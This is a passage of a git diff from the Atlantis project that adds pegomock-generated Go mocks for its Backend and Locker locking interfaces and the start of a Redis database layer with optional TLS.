} + } + return _ret0, _ret1, _ret2 +} + +func (mock *MockBackend) Unlock(project models.Project, workspace string) (*models.ProjectLock, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockBackend().") + } + _params := []pegomock.Param{project, workspace} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Unlock", _params, []reflect.Type{reflect.TypeOf((**models.ProjectLock)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 *models.ProjectLock + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(*models.ProjectLock) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockBackend) UnlockByPull(repoFullName string, pullNum int) ([]models.ProjectLock, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockBackend().") + } + _params := []pegomock.Param{repoFullName, pullNum} + _result := pegomock.GetGenericMockFrom(mock).Invoke("UnlockByPull", _params, []reflect.Type{reflect.TypeOf((*[]models.ProjectLock)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 []models.ProjectLock + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].([]models.ProjectLock) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockBackend) UnlockCommand(cmdName command.Name) error { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockBackend().") + } + _params := []pegomock.Param{cmdName} + _result := pegomock.GetGenericMockFrom(mock).Invoke("UnlockCommand", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) + } + } + return _ret0 +} + +func (mock *MockBackend) UpdateProjectStatus(pull models.PullRequest, workspace string, repoRelDir string, newStatus models.ProjectPlanStatus) error { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockBackend().") + } + _params := []pegomock.Param{pull, workspace, repoRelDir, newStatus} + _result := pegomock.GetGenericMockFrom(mock).Invoke("UpdateProjectStatus", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(error) + } + } + return _ret0 +} + +func (mock *MockBackend) UpdatePullWithResults(pull models.PullRequest, newResults []command.ProjectResult) (models.PullStatus, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockBackend().") + } + _params := []pegomock.Param{pull, newResults} + _result := pegomock.GetGenericMockFrom(mock).Invoke("UpdatePullWithResults", _params, []reflect.Type{reflect.TypeOf((*models.PullStatus)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 models.PullStatus + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(models.PullStatus) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockBackend) VerifyWasCalledOnce() *VerifierMockBackend { + return &VerifierMockBackend{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockBackend) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockBackend { + return &VerifierMockBackend{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockBackend) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockBackend { + return &VerifierMockBackend{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockBackend) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockBackend { + return &VerifierMockBackend{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockBackend struct { + mock *MockBackend + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockBackend) CheckCommandLock(cmdName command.Name) *MockBackend_CheckCommandLock_OngoingVerification { + _params := []pegomock.Param{cmdName} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "CheckCommandLock", _params, verifier.timeout) + return &MockBackend_CheckCommandLock_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockBackend_CheckCommandLock_OngoingVerification struct { + mock *MockBackend + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockBackend_CheckCommandLock_OngoingVerification) GetCapturedArguments() command.Name { + cmdName := c.GetAllCapturedArguments() + return cmdName[len(cmdName)-1] +} + +func (c *MockBackend_CheckCommandLock_OngoingVerification) GetAllCapturedArguments() (_param0 []command.Name) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]command.Name, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(command.Name) + } + } + } + return +} + +func (verifier *VerifierMockBackend) DeletePullStatus(pull models.PullRequest) *MockBackend_DeletePullStatus_OngoingVerification { + _params := []pegomock.Param{pull} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "DeletePullStatus", _params, verifier.timeout) + return &MockBackend_DeletePullStatus_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockBackend_DeletePullStatus_OngoingVerification struct { + mock *MockBackend + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockBackend_DeletePullStatus_OngoingVerification) GetCapturedArguments() models.PullRequest { + pull := c.GetAllCapturedArguments() + return pull[len(pull)-1] +} + +func (c *MockBackend_DeletePullStatus_OngoingVerification) GetAllCapturedArguments() (_param0 []models.PullRequest) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(models.PullRequest) + } + } + } + return +} + +func (verifier *VerifierMockBackend) GetLock(project models.Project, workspace string) *MockBackend_GetLock_OngoingVerification { + _params := []pegomock.Param{project, workspace} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetLock", _params, verifier.timeout) + return &MockBackend_GetLock_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockBackend_GetLock_OngoingVerification struct { + mock *MockBackend + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockBackend_GetLock_OngoingVerification) GetCapturedArguments() (models.Project, string) { + project, workspace := c.GetAllCapturedArguments() + return project[len(project)-1], workspace[len(workspace)-1] +} + +func (c *MockBackend_GetLock_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Project, _param1 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]models.Project, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(models.Project) + } + } + if len(_params) > 1 { + _param1 = make([]string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(string) + } + } + } + return +} + +func (verifier *VerifierMockBackend) GetPullStatus(pull models.PullRequest) *MockBackend_GetPullStatus_OngoingVerification { + _params := []pegomock.Param{pull} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetPullStatus", _params, verifier.timeout) + return &MockBackend_GetPullStatus_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockBackend_GetPullStatus_OngoingVerification struct { + mock *MockBackend + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockBackend_GetPullStatus_OngoingVerification) GetCapturedArguments() models.PullRequest { + pull := c.GetAllCapturedArguments() + return pull[len(pull)-1] +} + +func (c *MockBackend_GetPullStatus_OngoingVerification) GetAllCapturedArguments() (_param0 []models.PullRequest) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(models.PullRequest) + } + } + } + return +} + +func (verifier *VerifierMockBackend) List() *MockBackend_List_OngoingVerification { + _params := []pegomock.Param{} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "List", _params, verifier.timeout) + return &MockBackend_List_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockBackend_List_OngoingVerification struct { + mock *MockBackend + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockBackend_List_OngoingVerification) GetCapturedArguments() { +} + +func (c *MockBackend_List_OngoingVerification) GetAllCapturedArguments() { +} + +func (verifier *VerifierMockBackend) LockCommand(cmdName command.Name, lockTime time.Time) *MockBackend_LockCommand_OngoingVerification { + _params := []pegomock.Param{cmdName, lockTime} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "LockCommand", _params, verifier.timeout) + return &MockBackend_LockCommand_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockBackend_LockCommand_OngoingVerification struct { + mock *MockBackend + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockBackend_LockCommand_OngoingVerification) GetCapturedArguments() (command.Name, time.Time) { + cmdName, lockTime := c.GetAllCapturedArguments() + return cmdName[len(cmdName)-1], lockTime[len(lockTime)-1] +} + +func (c *MockBackend_LockCommand_OngoingVerification) GetAllCapturedArguments() (_param0 []command.Name, _param1 []time.Time) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]command.Name, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(command.Name) + } + } + if len(_params) > 1 { + _param1 = make([]time.Time, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(time.Time) + } + } + } + return +} + +func (verifier *VerifierMockBackend) TryLock(lock models.ProjectLock) *MockBackend_TryLock_OngoingVerification { + _params := []pegomock.Param{lock} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "TryLock", _params, verifier.timeout) + return &MockBackend_TryLock_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockBackend_TryLock_OngoingVerification struct { + mock *MockBackend + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockBackend_TryLock_OngoingVerification) GetCapturedArguments() models.ProjectLock { + lock := c.GetAllCapturedArguments() + return lock[len(lock)-1] +} + +func (c *MockBackend_TryLock_OngoingVerification) GetAllCapturedArguments() (_param0 []models.ProjectLock) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]models.ProjectLock, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(models.ProjectLock) + } + } + } + return +} + +func (verifier *VerifierMockBackend) Unlock(project models.Project, workspace string) *MockBackend_Unlock_OngoingVerification { + _params := []pegomock.Param{project, workspace} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Unlock", _params, verifier.timeout) + return &MockBackend_Unlock_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockBackend_Unlock_OngoingVerification struct { + mock *MockBackend + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockBackend_Unlock_OngoingVerification) GetCapturedArguments() (models.Project, string) { + project, workspace := c.GetAllCapturedArguments() + return project[len(project)-1], workspace[len(workspace)-1] +} + +func (c *MockBackend_Unlock_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Project, _param1 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]models.Project, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(models.Project) + } + } + if len(_params) > 1 { + _param1 = make([]string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(string) + } + } + } + return +} + +func (verifier *VerifierMockBackend) UnlockByPull(repoFullName string, pullNum int) *MockBackend_UnlockByPull_OngoingVerification { + _params := []pegomock.Param{repoFullName, pullNum} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "UnlockByPull", _params, verifier.timeout) + return &MockBackend_UnlockByPull_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockBackend_UnlockByPull_OngoingVerification struct { + mock *MockBackend + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockBackend_UnlockByPull_OngoingVerification) GetCapturedArguments() (string, int) { + repoFullName, pullNum := c.GetAllCapturedArguments() + return repoFullName[len(repoFullName)-1], pullNum[len(pullNum)-1] +} + +func (c *MockBackend_UnlockByPull_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []int) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } + } + if len(_params) > 1 { + _param1 = make([]int, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(int) + } + } + } + return +} + +func (verifier *VerifierMockBackend) UnlockCommand(cmdName command.Name) *MockBackend_UnlockCommand_OngoingVerification { + _params := []pegomock.Param{cmdName} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "UnlockCommand", _params, verifier.timeout) + return &MockBackend_UnlockCommand_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockBackend_UnlockCommand_OngoingVerification struct { + mock *MockBackend + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockBackend_UnlockCommand_OngoingVerification) GetCapturedArguments() command.Name { + cmdName := c.GetAllCapturedArguments() + return cmdName[len(cmdName)-1] +} + +func (c *MockBackend_UnlockCommand_OngoingVerification) GetAllCapturedArguments() (_param0 []command.Name) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]command.Name, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(command.Name) + } + } + } + return +} + +func (verifier *VerifierMockBackend) UpdateProjectStatus(pull models.PullRequest, workspace string, repoRelDir string, newStatus models.ProjectPlanStatus) *MockBackend_UpdateProjectStatus_OngoingVerification { + _params := []pegomock.Param{pull, workspace, repoRelDir, newStatus} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "UpdateProjectStatus", _params, verifier.timeout) + return &MockBackend_UpdateProjectStatus_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockBackend_UpdateProjectStatus_OngoingVerification struct { + mock *MockBackend + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockBackend_UpdateProjectStatus_OngoingVerification) GetCapturedArguments() (models.PullRequest, string, string, models.ProjectPlanStatus) { + pull, workspace, repoRelDir, newStatus := c.GetAllCapturedArguments() + return pull[len(pull)-1], workspace[len(workspace)-1], repoRelDir[len(repoRelDir)-1], newStatus[len(newStatus)-1] +} + +func (c *MockBackend_UpdateProjectStatus_OngoingVerification) GetAllCapturedArguments() (_param0 []models.PullRequest, _param1 []string, _param2 []string, _param3 []models.ProjectPlanStatus) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(models.PullRequest) + } + } + if len(_params) > 1 { + _param1 = make([]string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(string) + } + } + if len(_params) > 2 { + _param2 = make([]string, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(string) + } + } + if len(_params) > 3 { + _param3 = make([]models.ProjectPlanStatus, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(models.ProjectPlanStatus) + } + } + } + return +} + +func (verifier *VerifierMockBackend) UpdatePullWithResults(pull models.PullRequest, newResults []command.ProjectResult) *MockBackend_UpdatePullWithResults_OngoingVerification { + _params := []pegomock.Param{pull, newResults} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "UpdatePullWithResults", _params, verifier.timeout) + return &MockBackend_UpdatePullWithResults_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockBackend_UpdatePullWithResults_OngoingVerification struct { + mock *MockBackend + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockBackend_UpdatePullWithResults_OngoingVerification) GetCapturedArguments() (models.PullRequest, []command.ProjectResult) { + pull, newResults := c.GetAllCapturedArguments() + return pull[len(pull)-1], newResults[len(newResults)-1] +} + +func (c *MockBackend_UpdatePullWithResults_OngoingVerification) GetAllCapturedArguments() (_param0 []models.PullRequest, _param1 [][]command.ProjectResult) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(models.PullRequest) + } + } + if len(_params) > 1 { + _param1 = make([][]command.ProjectResult, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.([]command.ProjectResult) + } + } + } + return +} diff --git a/server/core/locking/mocks/mock_locker.go b/server/core/locking/mocks/mock_locker.go new file mode 100644 index 0000000000..7305b6c2b0 --- /dev/null +++ b/server/core/locking/mocks/mock_locker.go @@ -0,0 +1,316 @@ +// Code generated by pegomock. DO NOT EDIT. +// Source: github.com/runatlantis/atlantis/server/core/locking (interfaces: Locker) + +package mocks + +import ( + pegomock "github.com/petergtz/pegomock/v4" + locking "github.com/runatlantis/atlantis/server/core/locking" + models "github.com/runatlantis/atlantis/server/events/models" + "reflect" + "time" +) + +type MockLocker struct { + fail func(message string, callerSkip ...int) +} + +func NewMockLocker(options ...pegomock.Option) *MockLocker { + mock := &MockLocker{} + for _, option := range options { + option.Apply(mock) + } + return mock +} + +func (mock *MockLocker) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } +func (mock *MockLocker) FailHandler() pegomock.FailHandler { return mock.fail } + +func (mock *MockLocker) GetLock(key string) (*models.ProjectLock, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockLocker().") + } + _params := []pegomock.Param{key} + _result := pegomock.GetGenericMockFrom(mock).Invoke("GetLock", _params, []reflect.Type{reflect.TypeOf((**models.ProjectLock)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 *models.ProjectLock + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(*models.ProjectLock) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockLocker) List() (map[string]models.ProjectLock, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockLocker().") + } + _params := []pegomock.Param{} + _result := pegomock.GetGenericMockFrom(mock).Invoke("List", _params, []reflect.Type{reflect.TypeOf((*map[string]models.ProjectLock)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 map[string]models.ProjectLock + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(map[string]models.ProjectLock) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockLocker) TryLock(p models.Project, workspace string, pull models.PullRequest, user models.User) (locking.TryLockResponse, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockLocker().") + } + _params := []pegomock.Param{p, workspace, pull, user} + _result := pegomock.GetGenericMockFrom(mock).Invoke("TryLock", _params, []reflect.Type{reflect.TypeOf((*locking.TryLockResponse)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 locking.TryLockResponse + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(locking.TryLockResponse) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockLocker) Unlock(key string) (*models.ProjectLock, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockLocker().") + } + _params := []pegomock.Param{key} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Unlock", _params, []reflect.Type{reflect.TypeOf((**models.ProjectLock)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 *models.ProjectLock + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(*models.ProjectLock) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockLocker) UnlockByPull(repoFullName string, pullNum int) ([]models.ProjectLock, error) { + if mock == nil { + panic("mock must not be nil. Use myMock := NewMockLocker().") + } + _params := []pegomock.Param{repoFullName, pullNum} + _result := pegomock.GetGenericMockFrom(mock).Invoke("UnlockByPull", _params, []reflect.Type{reflect.TypeOf((*[]models.ProjectLock)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 []models.ProjectLock + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].([]models.ProjectLock) + } + if _result[1] != nil { + _ret1 = _result[1].(error) + } + } + return _ret0, _ret1 +} + +func (mock *MockLocker) VerifyWasCalledOnce() *VerifierMockLocker { + return &VerifierMockLocker{ + mock: mock, + invocationCountMatcher: pegomock.Times(1), + } +} + +func (mock *MockLocker) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockLocker { + return &VerifierMockLocker{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + } +} + +func (mock *MockLocker) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockLocker { + return &VerifierMockLocker{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + inOrderContext: inOrderContext, + } +} + +func (mock *MockLocker) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockLocker { + return &VerifierMockLocker{ + mock: mock, + invocationCountMatcher: invocationCountMatcher, + timeout: timeout, + } +} + +type VerifierMockLocker struct { + mock *MockLocker + invocationCountMatcher pegomock.InvocationCountMatcher + inOrderContext *pegomock.InOrderContext + timeout time.Duration +} + +func (verifier *VerifierMockLocker) GetLock(key string) *MockLocker_GetLock_OngoingVerification { + _params := []pegomock.Param{key} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetLock", _params, verifier.timeout) + return &MockLocker_GetLock_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockLocker_GetLock_OngoingVerification struct { + mock *MockLocker + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockLocker_GetLock_OngoingVerification) GetCapturedArguments() string { + key := c.GetAllCapturedArguments() + return key[len(key)-1] +} + +func (c *MockLocker_GetLock_OngoingVerification) GetAllCapturedArguments() (_param0 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } + } + } + return +} + +func (verifier *VerifierMockLocker) List() *MockLocker_List_OngoingVerification { + _params := []pegomock.Param{} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "List", _params, verifier.timeout) + return &MockLocker_List_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockLocker_List_OngoingVerification struct { + mock *MockLocker + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockLocker_List_OngoingVerification) GetCapturedArguments() { +} + +func (c *MockLocker_List_OngoingVerification) GetAllCapturedArguments() { +} + +func (verifier *VerifierMockLocker) TryLock(p models.Project, workspace string, pull models.PullRequest, user models.User) *MockLocker_TryLock_OngoingVerification { + _params := []pegomock.Param{p, workspace, pull, user} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "TryLock", _params, verifier.timeout) + return &MockLocker_TryLock_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockLocker_TryLock_OngoingVerification struct { + mock *MockLocker + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockLocker_TryLock_OngoingVerification) GetCapturedArguments() (models.Project, string, models.PullRequest, models.User) { + p, workspace, pull, user := c.GetAllCapturedArguments() + return p[len(p)-1], workspace[len(workspace)-1], pull[len(pull)-1], user[len(user)-1] +} + +func (c *MockLocker_TryLock_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Project, _param1 []string, _param2 []models.PullRequest, _param3 []models.User) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]models.Project, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(models.Project) + } + } + if len(_params) > 1 { + _param1 = make([]string, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(string) + } + } + if len(_params) > 2 { + _param2 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.PullRequest) + } + } + if len(_params) > 3 { + _param3 = make([]models.User, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(models.User) + } + } + } + return +} + +func (verifier *VerifierMockLocker) Unlock(key string) *MockLocker_Unlock_OngoingVerification { + _params := []pegomock.Param{key} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Unlock", _params, verifier.timeout) + return &MockLocker_Unlock_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockLocker_Unlock_OngoingVerification struct { + mock *MockLocker + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockLocker_Unlock_OngoingVerification) GetCapturedArguments() string { + key := c.GetAllCapturedArguments() + return key[len(key)-1] +} + +func (c *MockLocker_Unlock_OngoingVerification) GetAllCapturedArguments() (_param0 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } + } + } + return +} + +func (verifier *VerifierMockLocker) UnlockByPull(repoFullName string, pullNum int) *MockLocker_UnlockByPull_OngoingVerification { + _params := []pegomock.Param{repoFullName, pullNum} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "UnlockByPull", _params, verifier.timeout) + return &MockLocker_UnlockByPull_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockLocker_UnlockByPull_OngoingVerification struct { + mock *MockLocker + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockLocker_UnlockByPull_OngoingVerification) GetCapturedArguments() (string, int) { + repoFullName, pullNum := c.GetAllCapturedArguments() + return repoFullName[len(repoFullName)-1], pullNum[len(pullNum)-1] +} + +func (c *MockLocker_UnlockByPull_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []int) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]string, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(string) + } + } + if len(_params) > 1 { + _param1 = make([]int, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(int) + } + } + } + return +} diff --git a/server/core/redis/redis.go b/server/core/redis/redis.go new file mode 100644 index 0000000000..7a4bf69812 --- /dev/null +++ b/server/core/redis/redis.go @@ -0,0 +1,445 @@ +// Package redis handles our remote database layer. +package redis + +import ( + "context" + "crypto/tls" + "encoding/json" + "fmt" + "strings" + "time" + + "github.com/pkg/errors" + "github.com/redis/go-redis/v9" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" +) + +var ctx = context.Background() + +// Redis is a database using Redis 6 +type RedisDB struct { // nolint: revive + client *redis.Client +} + +const ( + pullKeySeparator = "::" +) + +func New(hostname string, port int, password string, tlsEnabled bool, insecureSkipVerify bool, db int) (*RedisDB, error) { + var rdb *redis.Client + + var tlsConfig *tls.Config + if tlsEnabled { + tlsConfig = &tls.Config{ + MinVersion: tls.VersionTLS12, + InsecureSkipVerify: insecureSkipVerify, //nolint:gosec // In some cases, users may want to use this at their own caution + } + } + + rdb = redis.NewClient(&redis.Options{ + Addr: fmt.Sprintf("%s:%d", hostname, port), + Password: password, + DB: db, + TLSConfig: tlsConfig, + }) + + // Check if connection is valid + err := rdb.Ping(ctx).Err() + if err != nil { + return nil, errors.Wrap(err, fmt.Sprintf("failed to connect to redis instance at %s:%d", hostname, port)) + } + + return &RedisDB{ + client: rdb, + }, 